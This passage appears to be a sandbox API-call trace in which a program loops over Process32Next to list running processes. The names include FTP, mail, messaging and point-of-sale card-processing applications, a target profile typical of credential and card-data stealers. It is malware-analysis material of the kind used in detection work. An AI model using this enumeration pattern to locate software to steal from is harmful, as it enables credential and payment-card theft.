pcPriClassBase=8, dwFlags=0x0, szExeFile="keyboard_remained_lucky.exe")) returned 1 [0115.084] GetTickCount () returned 0x114f873 [0115.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.084] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.084] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="origin.exe")) returned 1 [0115.085] GetTickCount () returned 0x114f873 [0115.085] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.085] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="exploringaidsoasis.exe")) returned 1 [0115.086] GetTickCount () returned 0x114f873 [0115.086] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.086] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.086] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="checklist.exe")) returned 1 [0115.088] GetTickCount () returned 0x114f873 [0115.088] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.088] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.088] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lifestylecalendar.exe")) returned 1 [0115.089] GetTickCount () returned 0x114f873 [0115.089] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.089] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepsmorris.exe")) returned 1 [0115.090] GetTickCount () returned 0x114f873 [0115.090] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.090] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0115.091] GetTickCount () returned 0x114f873 [0115.091] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.091] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.091] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0115.093] GetTickCount () returned 0x114f873 [0115.093] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.093] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.093] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0115.094] GetTickCount () returned 0x114f873 [0115.094] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.094] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0115.095] GetTickCount () returned 0x114f882 [0115.095] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.095] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0115.097] GetTickCount () returned 0x114f882 [0115.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.097] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.097] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0115.098] GetTickCount () returned 0x114f882 [0115.098] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.098] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.098] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0115.099] GetTickCount () returned 0x114f882 [0115.099] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.099] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.099] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0115.100] GetTickCount () returned 0x114f882 [0115.100] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.100] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0115.102] GetTickCount () returned 0x114f882 [0115.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.102] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0115.103] GetTickCount () returned 0x114f882 [0115.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.103] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0115.104] GetTickCount () returned 0x114f882 [0115.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.104] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.104] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0115.105] GetTickCount () returned 0x114f882 [0115.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.105] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0115.106] GetTickCount () returned 0x114f882 [0115.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.107] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0115.108] GetTickCount () returned 0x114f882 [0115.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.108] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0115.109] GetTickCount () returned 0x114f882 [0115.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.109] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0115.112] GetTickCount () returned 0x114f892 [0115.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.113] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0115.114] GetTickCount () returned 0x114f892 [0115.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.114] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0115.115] GetTickCount () returned 0x114f892 [0115.115] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.115] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.115] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0115.116] GetTickCount () returned 0x114f892 [0115.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.116] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0115.117] GetTickCount () returned 0x114f892 [0115.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.118] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.118] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0115.119] GetTickCount () returned 0x114f892 [0115.119] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.119] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0115.120] GetTickCount () returned 0x114f892 [0115.120] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.120] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.120] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0115.121] GetTickCount () returned 0x114f892 [0115.121] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.121] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.121] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0115.122] GetTickCount () returned 0x114f892 [0115.122] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.122] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.122] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0115.123] GetTickCount () returned 0x114f892 [0115.123] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.123] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.124] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0115.125] GetTickCount () returned 0x114f892 [0115.125] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.125] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.125] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0115.126] GetTickCount () returned 0x114f8a2 [0115.126] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.126] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0115.127] GetTickCount () returned 0x114f8a2 [0115.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.127] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.127] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0115.128] GetTickCount () returned 0x114f8a2 [0115.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.129] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.129] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0115.130] GetTickCount () returned 0x114f8a2 [0115.130] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.130] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.130] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0115.131] GetTickCount () returned 0x114f8a2 [0115.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.131] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.131] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0115.132] GetTickCount () returned 0x114f8a2 [0115.132] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.132] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.132] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0115.133] GetTickCount () returned 0x114f8a2 [0115.134] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.134] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.134] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0115.135] GetTickCount () returned 0x114f8a2 [0115.135] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.135] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.135] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0115.136] GetTickCount () returned 0x114f8a2 [0115.136] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.136] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.136] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0115.137] GetTickCount () returned 0x114f8a2 [0115.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.137] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0115.139] GetTickCount () returned 0x114f8a2 [0115.139] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.139] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.139] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0115.140] GetTickCount () returned 0x114f8a2 [0115.140] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.140] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.140] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0115.188] GetTickCount () returned 0x114f8e0 [0115.188] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.188] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.188] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0115.189] GetTickCount () returned 0x114f8e0 [0115.189] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.190] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.190] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0115.191] GetTickCount () returned 0x114f8e0 [0115.191] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2ade30 [0115.191] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ade30 | out: hHeap=0x2a0000) returned 1 [0115.191] Process32Next (in: hSnapshot=0x284, lppe=0x18f968 | out: lppe=0x18f968*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, 